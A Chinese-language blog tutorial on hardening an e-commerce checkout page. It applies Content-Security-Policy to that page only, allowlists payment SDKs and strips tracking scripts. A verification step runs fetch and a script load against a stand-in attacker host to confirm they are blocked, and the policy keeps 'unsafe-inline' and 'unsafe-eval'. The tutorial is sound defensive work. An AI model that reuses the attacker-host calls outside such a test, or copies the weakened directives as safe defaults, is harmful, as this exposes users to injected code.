电商结算页 CSP 实战:如何在不搞崩支付 SDK 的前提下加固安全

本文介绍一种 「仅结算页启用 CSP + 多层脚本剥离」 的前端安全方案,适用于集成 PayPal、Stripe、Google Pay 等多渠道支付的 SSR 电商项目。

关键词: Content-Security-Policy、CSP、支付页安全、点击劫持、GTM、SSR、Web 安全


前言

在电商项目中,全站启用严格的 Content-Security-Policy(CSP)往往代价很高:营销脚本、客服组件、A/B 测试 SDK 遍布各页面,一刀切很容易引发生产事故。

结算页 不同——它处理支付信息,安全要求更高,PCI 审计也更关注第三方脚本。我们的做法是:

只在结算页下发 CSP,同时剥离 GTM 等非必要追踪脚本,支付 SDK 通过白名单放行。

这样既满足安全合规,又不影响其他页面的正常运营。


一、为什么要「按页」做 CSP,而不是全站?

方案 优点 缺点
全站 CSP 防护面最大 维护成本高,易误伤业务脚本
仅结算页 CSP 聚焦高风险页面,改动范围可控 需服务端按路由下发

结算页的核心矛盾:

  1. 要放行:PayPal / Stripe / Google Pay 等支付 SDK(script、iframe、API 请求)
  2. 要拦截:GTM、广告像素、客服挂件等营销/追踪脚本
  3. 要防嵌入:避免被恶意站点 iframe 嵌套(点击劫持)

二、整体架构

┌─────────────────────────────────────────────────────────────┐
│  用户访问 /checkout(结算页)                                  │
└──────────────────────────┬──────────────────────────────────┘
                           │
         ┌─────────────────┼─────────────────┐
         ▼                 ▼                 ▼
  服务端设置 CSP 头      SSR 剥离 GTM 脚本    客户端二次兜底移除
  + X-Frame-Options     (HTML 正则清洗)    (entry 入口脚本)

三层防护各司其职:

  • HTTP 响应头:浏览器强制执行 CSP,拦截违规资源加载
  • SSR 清洗:在 HTML 输出前去掉 GTM 等内联/外链脚本
  • 客户端兜底:防止 hydration 或动态注入把追踪脚本带回来

三、核心模块:CSP 策略构建

建议独立一个 paymentPageCsp.js(或 .ts),专门负责生成 CSP 字符串。

3.1 路径判断

// 结算页路径——按实际路由修改
export const PAYMENT_PAGE_PATH = "/checkout";

export function matchesPaymentPageUrl(url) {
  return String(url || "").includes(PAYMENT_PAGE_PATH);
}

3.2 域名白名单分类

不要把所有域名堆在一个数组里,按 CSP 指令类型分组,后续维护会轻松很多:

// 自有站点
const OWNED_SITE_ORIGINS = [
  "https://*.example.com",
  "https://example.com",
];

// 支付 JS SDK
const ALLOWED_SCRIPT_ORIGINS = [
  "https://www.paypal.com",
  "https://www.paypalobjects.com",
  "https://js.paypal.com",
  "https://pay.google.com",
  "https://www.gstatic.com",
  "https://js.stripe.com",
  "https://checkout.stripe.com",
  // ... 按实际接入渠道补充
];

// 支付 API(connect-src)
const ALLOWED_CONNECT_ORIGINS = [
  ...ALLOWED_SCRIPT_ORIGINS,
  "https://api.stripe.com",
];

// 表单提交目标(form-action)
const ALLOWED_FORM_TARGETS = [
  "https://secure.payment-gateway.com",
];

// iframe 来源(frame-src,3DS 验证等)
const ALLOWED_FRAME_ORIGINS = [
  "'self'",
  ...OWNED_SITE_ORIGINS,
  "https://www.paypal.com",
  "https://js.stripe.com",
  "https://hooks.stripe.com",
  // ...
];

3.3 构建 CSP 字符串

/**
 * @param {{ dev?: boolean; frameAncestors?: boolean }} options
 */
export function composePaymentPageCsp(options = {}) {
  const { dev = false, frameAncestors = false } = options;

  const scriptSrc = [
    "'self'",
    "'unsafe-inline'",  // 部分 UI 框架 / 支付 SDK 需要
    "'unsafe-eval'",    // 见下文「安全取舍」
    "blob:",
    ...OWNED_SITE_ORIGINS,
    ...ALLOWED_SCRIPT_ORIGINS,
  ];

  const connectSrc = ["'self'", ...OWNED_SITE_ORIGINS, ...ALLOWED_CONNECT_ORIGINS];

  // 开发环境放行 HMR
  if (dev) {
    connectSrc.push(
      "http://localhost:*",
      "ws://localhost:*",
      "http://127.0.0.1:*",
      "ws://127.0.0.1:*",
    );
    scriptSrc.push("http://localhost:*");
  }

  const directives = [
    "default-src 'self'",
    `script-src ${scriptSrc.join(" ")}`,
    `style-src 'self' 'unsafe-inline' ${OWNED_SITE_ORIGINS.join(" ")}`,
    `img-src 'self' data: blob: ${OWNED_SITE_ORIGINS.join(" ")} https://*.stripe.com`,
    `font-src 'self' data: ${OWNED_SITE_ORIGINS.join(" ")}`,
    `connect-src ${connectSrc.join(" ")}`,
    `frame-src ${ALLOWED_FRAME_ORIGINS.join(" ")}`,
    `form-action 'self' ${OWNED_SITE_ORIGINS.join(" ")} ${ALLOWED_FORM_TARGETS.join(" ")}`,
    `worker-src 'self' blob: ${ALLOWED_SCRIPT_ORIGINS.join(" ")}`,
    "object-src 'none'",
    "base-uri 'self'",
  ];

  if (frameAncestors) {
    directives.push("frame-ancestors 'self'");
  }

  return directives.join("; ");
}

3.4 关于 'unsafe-eval' 的安全取舍

部分支付网关的加密脚本(如卡号加密 SDK)在 JSON.parse 降级路径中会调用 eval,因此 script-src 可能需要保留 'unsafe-eval'

建议:

  • 接入支付渠道后,在 Console 观察是否有 eval 相关 CSP 报错
  • 未使用该 SDK 的项目,可尝试移除 'unsafe-eval' 并回归测试

四、服务端集成(SSR / Node)

4.1 设置响应头

在 SSR 渲染完成、返回 HTML 之前:

import { composePaymentPageCsp, matchesPaymentPageUrl } from "./paymentPageCsp.js";

if (matchesPaymentPageUrl(req.url)) {
  res.setHeader(
    "Content-Security-Policy",
    composePaymentPageCsp({ dev: !isProd, frameAncestors: true }),
  );
  res.setHeader("X-Frame-Options", "DENY");
}

三个要点:

  1. CSP 必须通过 HTTP 响应头 下发(<meta> 标签对 frame-ancestors 无效)
  2. 只对 document 请求(HTML 页面)设置,不要对 JS/CSS 静态资源全局加
  3. frame-ancestors 'self' + X-Frame-Options: DENY 双重防止 iframe 嵌入

4.2 SSR 阶段剥离 GTM 脚本

即使 CSP 能拦截,也建议在服务端先把 GTM 从 HTML 里清掉,减少无效请求和控制台噪音:

function purgeTrackingScripts(html, url) {
  if (!matchesPaymentPageUrl(url)) return html;

  return html
    .replace(/<!--\s*gtm-start\s*-->[\s\S]*?<!--\s*gtm-end\s*-->/g, "")
    .replace(/<script[^>]*data-hid="gtm_dataLayer"[^>]*>[\s\S]*?<\/script>/gi, "")
    .replace(/<script[^>]*src="[^"]*googletagmanager\.com[^"]*"[^>]*><\/script>/gi, "")
    .replace(/<noscript[^>]*>[\s\S]*?googletagmanager\.com[\s\S]*?<\/noscript>/gi, "");
}

正则需根据项目 HTML 结构微调,核心是覆盖:注释块、内联 script、外链 script、noscript iframe。


五、客户端集成

5.1 路径判断(前后端保持一致)

// utils/paymentPageCsp.ts
export const PAYMENT_PAGE_PATH = "/checkout";

export function matchesPaymentPagePath(path: string): boolean {
  return path.includes(PAYMENT_PAGE_PATH);
}

5.2 入口兜底移除 GTM

在应用 mount 之前尽早执行:

import { matchesPaymentPagePath } from "@/utils/paymentPageCsp";

if (matchesPaymentPagePath(location.pathname)) {
  document
    .querySelectorAll('script[src*="googletagmanager.com"]')
    .forEach((node) => node.remove());
  document
    .querySelectorAll('script[data-hid="gtm_dataLayer"]')
    .forEach((node) => node.remove());
}

5.3 应用层条件加载 SDK

const onPaymentPage =
  matchesPaymentPagePath(route.path) || route.name === "PaymentPage";

// 结算页:不注入 GTM dataLayer
const headScripts = onPaymentPage ? [] : [{ key: "gtm_dataLayer", innerHTML: "..." }];

// 结算页:跳过 Cookie 横幅、客服、评价等非必要 SDK
if (!onPaymentPage) {
  initCookieBanner();
  initChatWidget();
  initMarketingSdk();
}

// 结算页:保留支付风控 SDK
initFraudSdk();

原则:结算页只留支付必需的 SDK,其余一律不加载。


六、新增支付渠道时怎么补白名单?

接入新支付 SDK 后,打开 Console 看 CSP 报错,按关键词对号入座:

Console 报错 需修改的指令
Refused to load the script script-src
Refused to connect connect-src
Refused to frame frame-src
Refused to send form form-action
Refused to create a worker worker-src

这是 CSP 运维的日常节奏:报错 → 补域名 → 回归支付流程


七、如何验证 CSP 已生效?

7.1 检查响应头

DevTools → Network → 选中 document 请求 → Response Headers:

Content-Security-Policy: default-src 'self'; script-src ...
X-Frame-Options: DENY

或用 curl:

curl -I "https://example.com/checkout" | grep -i content-security-policy

7.2 主动触发违规

在结算页 Console 执行:

// 应被拦截
fetch("https://evil.example.com/api");

const s = document.createElement("script");
s.src = "https://evil.example.com/x.js";
document.head.appendChild(s);

预期出现:Refused to ... violates Content-Security-Policy

7.3 验证清单

  • 结算页 document 有 CSP 头,其他页面没有
  • 恶意 script / fetch 被 Console 报错拦截
  • 同源业务 API 正常(200 OK)
  • 各支付渠道流程走通(下单、3DS、回调)
  • 结算页无 googletagmanager.com 脚本
  • 外部站点无法 iframe 嵌入结算页
  • 开发环境 HMR 正常

八、常见问题

Q1:Network 里 200 OK,但 Response 面板看不到 body?

通常不是 CSP。 常见原因是 DevTools 未保留响应体、页面刷新、本地代理干扰。CSP 拦截会直接报 Refused to connect,不会让请求成功却隐藏 body。

Q2:前端 JS 能读取 CSP 响应头吗?

不能。 CSP 由浏览器内部执行,不提供 JS 读取 API。DevTools Network 面板可以看到。

Q3:为什么不用 <meta http-equiv="Content-Security-Policy">

  • HTTP 响应头更可靠
  • frame-ancestors 在 meta 标签中无效
  • 服务端可以按路由灵活控制

九、总结

层级 手段 作用
HTTP 头 CSP + X-Frame-Options 限制资源加载、防 iframe 嵌入
SSR HTML 正则清洗 去掉 GTM 等追踪脚本
客户端 条件加载 + 兜底移除 防止非必要 SDK 进入结算页

这套方案的核心思路是:安全策略跟着风险走,而不是一刀切全站。 结算页集中加固,其他页面保持灵活,是在安全与业务之间比较务实的平衡点。

如果你也在做支付页安全加固,欢迎评论区交流接入过程中遇到的 CSP 报错和踩坑经验。


Logo

电商企业物流数字化转型必备!快递鸟 API 接口,72 小时快速完成物流系统集成。全流程实战1V1指导,营造开放的API技术生态圈。

更多推荐